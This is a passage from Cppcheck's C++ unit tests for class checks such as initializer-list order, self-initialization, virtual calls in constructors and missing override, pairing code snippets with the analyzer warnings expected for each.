nC)\\n\"\n \" : m_name(p_name)\\n\"\n \" , nCols(nC)\\n\"\n \" , nRows(nR)\\n\"\n \" {}\\n\"\n \"};\\n\"\n \"struct D : public B {\\n\"\n \" const int m_i;\\n\"\n \" D(const S& s, int _i)\\n\"\n \" : B(\\\"abc\\\", s.nRows(), s.nCols())\\n\"\n \" , m_i(_i)\\n\"\n \" {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void initializerListArgument() {\n checkInitializerListOrder(\"struct A { A(); };\\n\" // #12322\n \"struct B { explicit B(const A* a); };\\n\"\n \"struct C {\\n\"\n \" C() : b(&a) {}\\n\"\n \" B b;\\n\"\n \" const A a;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:11] -> [test.cpp:5:7]: (style, inconclusive) Member variable 'C::b' uses an uninitialized argument 'a' due to the order of declarations. [initializerList]\\n\",\n errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S(const std::string& f, std::string i, int b, int c) : a(0), b(b), c(c) {}\\n\"\n \" int a, b, c;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S() : p(a) {}\\n\"\n \" int* p;\\n\"\n \" int a[1];\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S() : p(&i) {}\\n\"\n \" int* p;\\n\"\n \" int i;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S() : a(b = 1) {}\\n\"\n \" int a, b;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S() : r(i) {}\\n\"\n \" int& r;\\n\"\n \" int i{};\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct B {\\n\"\n \" int a{}, b{};\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" D() : B(), j(b) {}\\n\"\n \" int j;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S() : a(i) {}\\n\"\n \" int a;\\n\"\n \" static int i;\\n\"\n \"};\\n\"\n \"int S::i = 0;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S(int b) : a(b) {}\\n\"\n \" int a, b{};\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"class Foo {\\n\" // #3524\n \"public:\\n\"\n \" Foo(int arg) : a(b), b(arg) {}\\n\"\n \" int a;\\n\"\n \" int b;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:20] -> [test.cpp:4:9]: (style, inconclusive) Member variable 'Foo::a' uses an uninitialized argument 'b' due to the order of declarations. [initializerList]\\n\",\n errout_str());\n\n checkInitializerListOrder(\"struct S { double d = 0; };\\n\" // #12730\n \"struct T {\\n\"\n \" T() : s(), a(s.d), d(0) {}\\n\"\n \" S s;\\n\"\n \" double a, d;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S { static const int d = 1; };\\n\"\n \"struct T {\\n\"\n \" T() : s(), a(S::d), d(0) {}\\n\"\n \" S s;\\n\"\n \" int a, d;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkInitializationListUsage(...) checkInitializationListUsage_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkInitializationListUsage_(const char* file, int line, const char (&code)[size]) {\n // Check..\n const Settings settings = settingsBuilder().severity(Severity::performance).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n CheckClass checkClass(&tokenizer, &settings, this);\n checkClass.initializationListUsage();\n }\n\n void initializerListUsage() {\n checkInitializationListUsage(\"enum Enum { C = 0 };\\n\"\n \"class Fred {\\n\"\n \" int a;\\n\" // No message for builtin types: No performance gain\n \" int* b;\\n\" // No message for pointers: No performance gain\n \" Enum c;\\n\" // No message for enums: No performance gain\n \" Fred() { a = 0; b = 0; c = C; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" Fred() { a = 0; s = \\\"foo\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:21]: (performance) Variable 's' is assigned in constructor body. Consider performing initialization in initialization list. [useInitializationList]\\n\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\"\n \" std::string& s;\\n\" // Message is invalid for references, since their initialization in initializer list is required anyway and behaves different from assignment (#5004)\n \" Fred(const std::string& s_) : s(s_) { s = \\\"foo\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\"\n \" std::vector v;\\n\"\n \" Fred() { v = unknown; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (performance) Variable 'v' is assigned in constructor body. Consider performing initialization in initialization list. [useInitializationList]\\n\", errout_str());\n\n checkInitializationListUsage(\"class C { std::string s; };\\n\"\n \"class Fred {\\n\"\n \" C c;\\n\"\n \" Fred() { c = unknown; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (performance) Variable 'c' is assigned in constructor body. Consider performing initialization in initialization list. [useInitializationList]\\n\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C c;\\n\"\n \" Fred() { c = unknown; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (performance) Variable 'c' is assigned in constructor body. Consider performing initialization in initialization list. [useInitializationList]\\n\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C c;\\n\"\n \" Fred(Fred const & other) { c = other.c; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:32]: (performance) Variable 'c' is assigned in constructor body. Consider performing initialization in initialization list. [useInitializationList]\\n\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C c;\\n\"\n \" Fred(Fred && other) { c = other.c; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:27]: (performance) Variable 'c' is assigned in constructor body. Consider performing initialization in initialization list. [useInitializationList]\\n\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C a;\\n\"\n \" Fred() { initB(); a = b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C a;\\n\"\n \" Fred() : a(0) { if(b) a = 0; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C a[5];\\n\"\n \" Fred() { for(int i = 0; i < 5; i++) a[i] = 0; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C a; int b;\\n\"\n \" Fred() : b(5) { a = b; }\\n\" // Don't issue a message here: You actually could move it to the initialization list, but it would cause problems if you change the order of the variable declarations.\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C a;\\n\"\n \" Fred() { try { a = new int; } catch(...) {} }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" Fred() { s = toString((size_t)this); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\"\n \" std::string a;\\n\"\n \" std::string foo();\\n\"\n \" Fred() { a = foo(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\"\n \" std::string a;\\n\"\n \" Fred() { a = foo(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (performance) Variable 'a' is assigned in constructor body. Consider performing initialization in initialization list. [useInitializationList]\\n\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\" // #4332\n \" static std::string s;\\n\"\n \" Fred() { s = \\\"foo\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\" // #5640\n \" std::string s;\\n\"\n \" Fred() {\\n\"\n \" char str[2];\\n\"\n \" str[0] = c;\\n\"\n \" str[1] = 0;\\n\"\n \" s = str;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class B {\\n\" // #5640\n \" std::shared_ptr _d;\\n\"\n \" B(const B& other) : _d(std::make_shared()) {\\n\"\n \" *_d = *other._d;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Bar {\\n\" // #8466\n \"public:\\n\"\n \" explicit Bar(const Bar &bar) : Bar{bar.s} {}\\n\"\n \" explicit Bar(const char s) : s{s} {}\\n\"\n \"private:\\n\"\n \" char s;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"unsigned bar(std::string);\\n\" // #8291\n \"class Foo {\\n\"\n \"public:\\n\"\n \" int a_, b_;\\n\"\n \" Foo(int a, int b) : a_(a), b_(b) {}\\n\"\n \" Foo(int a, const std::string& b) : Foo(a, bar(b)) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\" // #8111\n \" std::string a;\\n\"\n \" Fred() {\\n\"\n \" std::ostringstream ostr;\\n\"\n \" ostr << x;\\n\"\n \" a = ostr.str();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // bailout: multi line lambda in rhs => do not warn\n checkInitializationListUsage(\"class Fred {\\n\"\n \" std::function f;\\n\"\n \" Fred() {\\n\"\n \" f = [](){\\n\"\n \" return 1;\\n\"\n \" };\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // don't warn if some other instance's members are assigned to\n checkInitializationListUsage(\"class C {\\n\"\n \"public:\\n\"\n \" C(C& c) : m_i(c.m_i) { c.m_i = (Foo)-1; }\\n\"\n \"private:\\n\"\n \" Foo m_i;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class A {\\n\" // #9821 - delegate constructor\n \"public:\\n\"\n \" A() : st{} {}\\n\"\n \"\\n\"\n \" explicit A(const std::string &input): A() {\\n\"\n \" st = input;\\n\"\n \" }\\n\"\n \"\\n\"\n \"private:\\n\"\n \" std::string st;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n#define checkSelfInitialization(...) checkSelfInitialization_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkSelfInitialization_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings0, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n CheckClass checkClass(&tokenizer, &settings0, this);\n (checkClass.checkSelfInitialization)();\n }\n\n void selfInitialization() {\n checkSelfInitialization(\"class Fred {\\n\"\n \" int i;\\n\"\n \" Fred() : i(i) {\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (error) Member variable 'i' is initialized by itself. [selfInitialization]\\n\", errout_str());\n\n checkSelfInitialization(\"class Fred {\\n\"\n \" int i;\\n\"\n \" Fred() : i{i} {\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (error) Member variable 'i' is initialized by itself. [selfInitialization]\\n\", errout_str());\n\n checkSelfInitialization(\"class Fred {\\n\"\n \" int i;\\n\"\n \" Fred();\\n\"\n \"};\\n\"\n \"Fred::Fred() : i(i) {\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:14]: (error) Member variable 'i' is initialized by itself. [selfInitialization]\\n\", errout_str());\n\n checkSelfInitialization(\"class A {\\n\" // #10427\n \"public:\\n\"\n \" explicit A(int x) : _x(static_cast(_x)) {}\\n\"\n \"private:\\n\"\n \" int _x;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (error) Member variable '_x' is initialized by itself. [selfInitialization]\\n\", errout_str());\n\n checkSelfInitialization(\"class A {\\n\"\n \"public:\\n\"\n \" explicit A(int x) : _x((int)(_x)) {}\\n\"\n \"private:\\n\"\n \" int _x;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (error) Member variable '_x' is initialized by itself. [selfInitialization]\\n\", errout_str());\n\n checkSelfInitialization(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" Fred() : s(s) {\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (error) Member variable 's' is initialized by itself. [selfInitialization]\\n\", errout_str());\n\n checkSelfInitialization(\"class Fred {\\n\"\n \" int x;\\n\"\n \" Fred(int x);\\n\"\n \"};\\n\"\n \"Fred::Fred(int x) : x(x) { }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkSelfInitialization(\"class Fred {\\n\"\n \" int x;\\n\"\n \" Fred(int x);\\n\"\n \"};\\n\"\n \"Fred::Fred(int x) : x{x} { }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkSelfInitialization(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" Fred(const std::string& s) : s(s) {\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkSelfInitialization(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" Fred(const std::string& s) : s{s} {\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkSelfInitialization(\"struct Foo : Bar {\\n\"\n \" int i;\\n\"\n \" Foo(int i)\\n\"\n \" : Bar(\\\"\\\"), i(i) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkSelfInitialization(\"struct Foo : std::Bar {\\n\" // #6073\n \" int i;\\n\"\n \" Foo(int i)\\n\"\n \" : std::Bar(\\\"\\\"), i(i) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkSelfInitialization(\"struct Foo : std::Bar {\\n\" // #6073\n \" int i;\\n\"\n \" Foo(int i)\\n\"\n \" : std::Bar(\\\"\\\"), i{i} {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkVirtualFunctionCall(...) checkVirtualFunctionCall_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkVirtualFunctionCall_(const char* file, int line, const char (&code)[size]) {\n // Check..\n const Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::style).certainty(Certainty::inconclusive).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n CheckClass checkClass(&tokenizer, &settings, this);\n checkClass.checkVirtualFunctionCallInConstructor();\n }\n\n void virtualFunctionCallInConstructor() {\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual int f() { return 1; }\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{f();}\");\n ASSERT_EQUALS(\"[test.cpp:7:2] -> [test.cpp:3:17]: (style) Virtual function 'f' is called from constructor 'A()' at line 7. Dynamic binding is not used. [virtualCallInConstructor]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A {\\n\"\n \" virtual int f();\\n\"\n \" A() {f();}\\n\"\n \"};\\n\"\n \"int A::f() { return 1; }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:2:17]: (style) Virtual function 'f' is called from constructor 'A()' at line 3. Dynamic binding is not used. [virtualCallInConstructor]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A : B {\\n\"\n \" int f() override;\\n\"\n \" A() {f();}\\n\"\n \"};\\n\"\n \"int A::f() { return 1; }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:2:9]: (style) Virtual function 'f' is called from constructor 'A()' at line 3. Dynamic binding is not used. [virtualCallInConstructor]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class B {\\n\"\n \" virtual int f() = 0;\\n\"\n \"};\\n\"\n \"class A : B {\\n\"\n \" int f();\\n\" // <- not explicitly virtual\n \" A() {f();}\\n\"\n \"};\\n\"\n \"int A::f() { return 1; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" A() { A::f(); }\\n\"\n \" virtual void f() {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class A : B {\\n\"\n \" int f() final { return 1; }\\n\"\n \" A() { f(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class B {\\n\"\n \"public:\"\n \" virtual void f() {}\\n\"\n \"};\\n\"\n \"class A : B {\\n\"\n \"public:\"\n \" void f() override final {}\\n\"\n \" A() { f(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class Base {\\n\"\n \"public:\\n\"\n \" virtual void Copy(const Base& Src) = 0;\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \"public:\\n\"\n \" Derived() : i(0) {}\\n\"\n \" Derived(const Derived& Src);\\n\"\n \" void Copy(const Base& Src) override;\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"Derived::Derived(const Derived& Src) {\\n\"\n \" Copy(Src);\\n\"\n \"}\\n\"\n \"void Derived::Copy(const Base& Src) {\\n\"\n \" auto d = dynamic_cast(Src);\\n\"\n \" i = d.i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:13:5] -> [test.cpp:9:10]: (style) Virtual function 'Copy' is called from copy constructor 'Derived(const Derived&Src)' at line 13. Dynamic binding is not used. [virtualCallInConstructor]\\n\",\n errout_str());\n\n checkVirtualFunctionCall(\"struct B {\\n\"\n \" B() { auto pf = &f; }\\n\"\n \" virtual void f() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"struct B {\\n\"\n \" B() { auto pf = &B::f; }\\n\"\n \" virtual void f() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"struct B {\\n\"\n \" B() { (f)(); }\\n\"\n \" virtual void f() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:12] -> [test.cpp:3:18]: (style) Virtual function 'f' is called from constructor 'B()' at line 2. Dynamic binding is not used. [virtualCallInConstructor]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class S {\\n\" // don't crash\n \" ~S();\\n\"\n \"public:\\n\"\n \" S();\\n\"\n \"};\\n\"\n \"S::S() {\\n\"\n \" typeid(S);\\n\"\n \"}\\n\"\n \"S::~S() = default;\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"struct Base: { virtual void wibble() = 0; virtual ~Base() {} };\\n\" // #11167\n \"struct D final : public Base {\\n\"\n \" void wibble() override;\\n\"\n \" D() {}\\n\"\n \" virtual ~D() { wibble(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pureVirtualFunctionCall() {\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual void pure()=0;\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{pure();}\");\n ASSERT_EQUALS(\"[test.cpp:7:2] -> [test.cpp:3:18]: (warning) Call of pure virtual function 'pure' in constructor. [pureVirtualCall]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual int pure()=0;\\n\"\n \" A();\\n\"\n \" int m;\\n\"\n \"};\\n\"\n \"A::A():m(A::pure())\\n\"\n \"{}\");\n ASSERT_EQUALS(\"[test.cpp:7:13] -> [test.cpp:3:17]: (warning) Call of pure virtual function 'pure' in constructor. [pureVirtualCall]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"namespace N {\\n\"\n \" class A\\n\"\n \" {\\n\"\n \" virtual int pure() = 0;\\n\"\n \" A();\\n\"\n \" int m;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"N::A::A() : m(N::A::pure()) {}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:21] -> [test.cpp:4:19]: (warning) Call of pure virtual function 'pure' in constructor. [pureVirtualCall]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual void pure()=0;\\n\"\n \" virtual ~A();\\n\"\n \" int m;\\n\"\n \"};\\n\"\n \"A::~A()\\n\"\n \"{pure();}\");\n ASSERT_EQUALS(\"[test.cpp:8:2] -> [test.cpp:3:18]: (warning) Call of pure virtual function 'pure' in destructor. [pureVirtualCall]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual void pure()=0;\\n\"\n \" void nonpure()\\n\"\n \" {pure();}\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{nonpure();}\");\n ASSERT_EQUALS(\"[test.cpp:9:2] -> [test.cpp:5:6] -> [test.cpp:3:18]: (warning) Call of pure virtual function 'pure' in constructor. [pureVirtualCall]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual int pure()=0;\\n\"\n \" int nonpure()\\n\"\n \" {return pure();}\\n\"\n \" A();\\n\"\n \" int m;\\n\"\n \"};\\n\"\n \"A::A():m(nonpure())\\n\"\n \"{}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:9:2] -> [test.cpp:5:6] -> [test.cpp:3:18]: (warning) Call of pure virtual function 'pure' in constructor. [pureVirtualCall]\\n\", \"\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual void pure()=0;\\n\"\n \" void nonpure()\\n\"\n \" {pure();}\\n\"\n \" virtual ~A();\\n\"\n \" int m;\\n\"\n \"};\\n\"\n \"A::~A()\\n\"\n \"{nonpure();}\");\n ASSERT_EQUALS(\"[test.cpp:10:2] -> [test.cpp:5:6] -> [test.cpp:3:18]: (warning) Call of pure virtual function 'pure' in destructor. [pureVirtualCall]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual void pure()=0;\\n\"\n \" A(bool b);\\n\"\n \"};\\n\"\n \"A::A(bool b)\\n\"\n \"{if (b) pure();}\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:3:18]: (warning) Call of pure virtual function 'pure' in constructor. [pureVirtualCall]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual void pure()=0;\\n\"\n \" virtual ~A();\\n\"\n \" int m;\\n\"\n \"};\\n\"\n \"A::~A()\\n\"\n \"{if (b) pure();}\");\n ASSERT_EQUALS(\"[test.cpp:8:9] -> [test.cpp:3:18]: (warning) Call of pure virtual function 'pure' in destructor. [pureVirtualCall]\\n\", errout_str());\n\n // #5831\n checkVirtualFunctionCall(\"class abc {\\n\"\n \"public:\\n\"\n \" virtual ~abc() throw() {}\\n\"\n \" virtual void def(void* g) throw () = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4992\n checkVirtualFunctionCall(\"class CMyClass {\\n\"\n \" std::function< void(void) > m_callback;\\n\"\n \"public:\\n\"\n \" CMyClass() {\\n\"\n \" m_callback = [this]() { return VirtualMethod(); };\\n\"\n \" }\\n\"\n \" virtual void VirtualMethod() = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10559\n checkVirtualFunctionCall(\"struct S {\\n\"\n \" S(const int x) : m(std::bind(&S::f, this, x, 42)) {}\\n\"\n \" virtual int f(const int x, const int y) = 0;\\n\"\n \" std::function m;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pureVirtualFunctionCallOtherClass() {\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual void pure()=0;\\n\"\n \" A(const A & a);\\n\"\n \"};\\n\"\n \"A::A(const A & a)\\n\"\n \"{a.pure();}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual void pure()=0;\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"class B\\n\"\n \"{\\n\"\n \" virtual void pure()=0;\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{B b; b.pure();}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pureVirtualFunctionCallWithBody() {\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual void pureWithBody()=0;\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{pureWithBody();}\\n\"\n \"void A::pureWithBody()\\n\"\n \"{}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual void pureWithBody()=0;\\n\"\n \" void nonpure()\\n\"\n \" {pureWithBody();}\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{nonpure();}\\n\"\n \"void A::pureWithBody()\\n\"\n \"{}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n }\n\n void pureVirtualFunctionCallPrevented() {\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual void pure()=0;\\n\"\n \" void nonpure(bool bCallPure)\\n\"\n \" { if (bCallPure) pure();}\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{nonpure(false);}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual void pure()=0;\\n\"\n \" void nonpure(bool bCallPure)\\n\"\n \" { if (!bCallPure) ; else pure();}\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{nonpure(false);}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual void pure()=0;\\n\"\n \" void nonpure(bool bCallPure)\\n\"\n \" {\\n\"\n \" switch (bCallPure) {\\n\"\n \" case true: pure(); break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{nonpure(false);}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n#define checkOverride(...) checkOverride_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkOverride_(const char* file, int line, const char (&code)[size]) {\n const Settings settings = settingsBuilder().severity(Severity::style).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings, this);\n (checkClass.checkOverride)();\n }\n\n void override1() {\n checkOverride(\"class Base { virtual void f(); };\\n\"\n \"class Derived : Base { virtual void f(); };\");\n ASSERT_EQUALS(\"[test.cpp:1:27] -> [test.cpp:2:37]: (style) The function 'f' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"class Base { virtual void f(); };\\n\"\n \"class Derived : Base { virtual void f() override; };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"class Base { virtual void f(); };\\n\"\n \"class Derived : Base { virtual void f() final; };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"class Base {\\n\"\n \"public:\\n\"\n \" virtual auto foo( ) const -> size_t { return 1; }\\n\"\n \" virtual auto bar( ) const -> size_t { return 1; }\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \"public :\\n\"\n \" auto foo( ) const -> size_t { return 0; }\\n\"\n \" auto bar( ) const -> size_t override { return 0; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:18] -> [test.cpp:8:10]: (style) The function 'foo' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"namespace Test {\\n\"\n \" class C {\\n\"\n \" public:\\n\"\n \" virtual ~C();\\n\"\n \" };\\n\"\n \"}\\n\"\n \"class C : Test::C {\\n\"\n \"public:\\n\"\n \" ~C();\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:18] -> [test.cpp:9:6]: (style) The destructor '~C' overrides a destructor in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"struct Base {\\n\"\n \" virtual void foo();\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct Derived: public Base {\\n\"\n \" void foo() override;\\n\"\n \" void foo(int);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n 